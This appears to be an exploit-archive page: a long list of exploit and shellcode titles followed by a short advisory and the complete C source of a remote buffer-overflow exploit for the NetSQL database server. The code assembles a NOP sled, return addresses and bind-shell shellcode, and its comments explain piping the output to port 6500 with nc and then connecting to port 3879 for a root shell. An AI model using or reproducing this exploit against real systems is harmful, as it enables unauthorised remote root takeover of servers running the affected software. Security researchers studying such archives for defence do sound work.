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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
75 lines
No EOL
2.6 KiB
C
75 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/2885/info
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NetSQL is an implementation of a database and toolset distributed by Munica Corporation. NetSQL is part of 5 piece software package called the Webpak, containing utilities for features such as web boards, membership, and online calendars.
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A buffer overflow in the server makes it possible for a remote user to gain remote root access to a system using the affected software. By sending a long string to port 6500, a remote user can create a buffer overflow, allowing code execution.
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This makes it possible for a remote user to gain remote root access, resulting in complete compromise of a system using the affected software.
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/* PRIVATE EXPLOIT, DONT DISTRO%$##$%$#
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* Remote exploit for NetSQL server, by Sergio Monteiro a.k.a Papa-tudo
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* netsqld - An SQL database server with Web interface
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* check http://www.sekurity.com.br .
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*
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* There is an easily exploitable buffer overflow in netsql.
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* This exploit was tested on redhat 6.2.
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*
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* Run like: ./netsql | nc host.com 6500
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* Then connect to port 3879 for the rootshell.
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*
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* Greets: www.sekurity.com.br
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* Author: Papa-tudo -
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*
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*PRIVATE EXPLOIT, DONT DISTRO%$##$%$#
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*/
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#include <stdio.h>
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#include <string.h>
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#define RET 0xbffea3d0
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char crap[80];
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char cmd[1024];
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char shellcode[] =
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"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
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"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
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"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
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"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
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"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
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"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
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"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
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"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
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int
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main (int argc, char *argv[])
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{
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char *buf;
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int bsize=180, offset = 0, len = 151, i;
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if (argc > 1) bsize = atoi(argv[1]);
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if (argc > 2) offset = atoi(argv[2]);
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if (argc > 3) len = atoi(argv[3]);
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buf = malloc(bsize);
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memset (buf, '\x90', bsize);
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memset(crap, '\x41', 80);
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for (i = len; i < bsize - 4; i += 4)
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*(long *) &buf[i] = RET + offset;
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memcpy (buf + (len - strlen (shellcode)), shellcode, strlen (shellcode));
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crap[sizeof(crap)] = '\0';
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buf[bsize - 1] = '\0';
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fprintf(stderr, "Return Address = 0x%x\n", RET + offset);
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fprintf(stderr, "Running with offset %d\n", offset);
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printf("76 CONNECT %s ON %s USER=\'netsql\' PASSWORD=\'none\'\n", crap, buf);
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} |